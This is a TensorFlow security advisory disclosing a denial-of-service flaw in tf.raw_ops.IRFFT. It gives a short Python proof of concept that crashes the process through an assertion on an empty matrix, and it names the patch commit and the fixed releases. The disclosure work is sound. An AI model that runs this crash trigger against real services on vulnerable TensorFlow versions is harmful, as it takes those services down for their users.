CHECK-fail in `tf.raw_ops.IRFFT`

Impact

An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.raw_ops.IRFFT:

```python

import tensorflow as tf

values = [-10.0] * 130

values[0] = -9.999999999999995

inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)

inputs = tf.cast(inputs, dtype=tf.complex64)

fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)

`

The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.

Patches

We have patched the issue in GitHub commit [1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.